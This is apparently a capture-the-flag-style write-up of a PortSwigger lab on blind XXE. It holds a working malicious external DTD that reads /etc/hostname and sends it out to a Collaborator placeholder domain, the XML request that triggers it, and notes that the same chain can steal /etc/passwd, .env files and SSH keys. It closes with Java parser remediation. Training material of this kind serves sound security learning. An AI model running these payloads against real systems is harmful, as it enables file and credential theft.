PlatformPortSwigger Web Security Academy
TopicXML external entity (XXE) injection
LabExploiting blind XXE to exfiltrate data using a malicious external DTD
DifficultyPractitioner
GoalExfiltrate the contents of /etc/hostname out-of-band
ToolsBurp Suite Professional (Repeater + Collaborator) + the lab’s exploit server

From callback to exfiltration#

The out-of-band lab proved a blind parser would call out to us. This one goes the whole way: it reads a file and sends its contents to us, even though the response reflects nothing. The target is /etc/hostname.

The trick is a malicious external DTD. We can’t do the full exfiltration dance inside the request’s own inline DTD, because XML forbids referencing a parameter entity from inside another markup declaration in the internal subset. So we host the clever part on a server we control (the lab’s exploit server), and have the target load it as an external DTD, where that restriction doesn’t apply.

Two servers are in play:

  • The exploit server hosts our DTD (the logic that reads the file and builds the exfiltration URL).
  • Burp Collaborator (a Burp Professional feature) is where the stolen data lands, a unique domain that records any DNS (Domain Name System) or HTTP interaction sent to it.

Step 1: get a Collaborator domain#

Open the Collaborator tab and Copy to clipboard to grab a unique subdomain. That’s the address our DTD will send the file contents to:

The Burp Collaborator tab with Copy to clipboard highlighted
Copy to clipboard yields a unique Collaborator domain; the stolen file contents will arrive here.

Step 2: host the malicious DTD on the exploit server#

On the lab’s product page, click Go to exploit server:

The lab product page with the Go to exploit server button
Each lab of this type ships an exploit server we can host files on.

The exploit server is a simple “craft a response” form: a File path, response Headers, and a Body. We’ll serve our DTD at /exploit:

The exploit server Craft a response form with File /exploit and a default body
Serve the DTD at /exploit; the default body is replaced with our malicious DTD.

Put this in the Body (swap in the Collaborator domain from step 1):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN?x=%file;'>">
%eval;
%exfil;
The exploit server body containing the malicious external DTD with file, eval and exfil parameter entities
The malicious DTD: read /etc/hostname into %file, build an exfil entity whose URL carries it, then fire it. Store this at /exploit.

How the three parameter entities chain together:

  • <!ENTITY % file SYSTEM "file:///etc/hostname"> reads the target file into the parameter entity %file.
  • <!ENTITY % eval "..."> defines %eval, whose value is itself another entity declaration. The &#x25; is an escaped %: writing the percent literally here means the inner % exfil entity is only interpreted later, when %eval; runs, not while the DTD is first parsed. Without that escaping, the parser would choke on a parameter-entity reference inside a declaration.
  • The inner exfil entity points at our Collaborator domain with the file contents appended as a query string: http://…?x=%file;.
  • %eval; expands first, which declares %exfil. %exfil; then expands, which makes the parser fetch the Collaborator URL with /etc/hostname in x=.

Click Store so the DTD is live at https://YOUR-EXPLOIT-SERVER/exploit.

Step 3: trigger it from the stock check#

Back in Repeater, send a stock-check request whose inline DTD declares a parameter entity pointing at our hosted DTD, then references it so the parser loads and executes it:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://YOUR-EXPLOIT-SERVER/exploit"> %xxe;]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

<!ENTITY % xxe SYSTEM "https://…/exploit"> fetches our external DTD, and %xxe; loads it into the document, running the %file / %eval / %exfil chain above. The response is a blind 400 Bad Request with "XML parsing error", nothing useful, but the parser has already read the file and called out:

Burp Repeater sending the stock check that loads the external DTD, with a 400 XML parsing error response
The stock check loads our external DTD via %xxe;. The response is a blind ‘XML parsing error’, but the exfiltration has already happened.

Step 4: read the exfiltrated file#

Open the Collaborator tab and Poll now. The parser’s fetch arrives as DNS lookups and an HTTP request from the target. Select the HTTP interaction and look at Request to Collaborator, the GET /?x=… line carries the contents of /etc/hostname, exfiltrated out-of-band:

The Collaborator tab showing DNS and HTTP interactions, with the HTTP request GET /?x= from a Java client
The HTTP interaction: GET /?x= from the target’s Java XML parser. The file contents rode out in the query string. Submit the value to solve the lab.

The User-Agent: Java/21.0.1 confirms the request came from the target’s XML parser, not a browser. Submit the exfiltrated hostname to solve the lab.

Real-world impact#

This is the full blind-XXE threat in one chain: read an arbitrary file and ship it off the box over a side channel, with nothing shown in the response.

  • Exfiltrate secrets blind — the same DTD reads /etc/passwd, application config, .env files, cloud credentials, or SSH private keys and smuggles them out, one request at a time.
  • Works past egress filters — DNS and outbound HTTP to an attacker domain are frequently allowed even when little else is, so the channel is reliable.
  • Entirely blind — no reflected output is ever needed, which is what makes this class so dangerous and easy to miss.

Only ever against systems you are authorized to test.

Remediation#

The root cause and fix are the same as every XXE, and must cover parameter entities and external DTDs:

  • Disable DTDs entirely in the XML parser. With document-type declarations rejected, neither the inline DTD nor the external one loads, so the chain never starts.
  • Don’t fetch external resources while parsing. Turn off external general and parameter entities if DTDs can’t be fully disabled.

A concrete example, parser-specific (here Java’s DocumentBuilderFactory):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — stops external DTD loading and the entity chain
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);

Key takeaways#

  • When the response is blind and the inline DTD can’t do the work, host a malicious external DTD on a server you control and load it with a parameter entity.
  • The %file / %eval / %exfil chain reads a file and folds its contents into a URL the parser requests; &#x25; escapes the % so the inner entity is declared at the right moment.
  • The stolen data arrives in the query string of the Collaborator request, so blind XXE becomes full file exfiltration.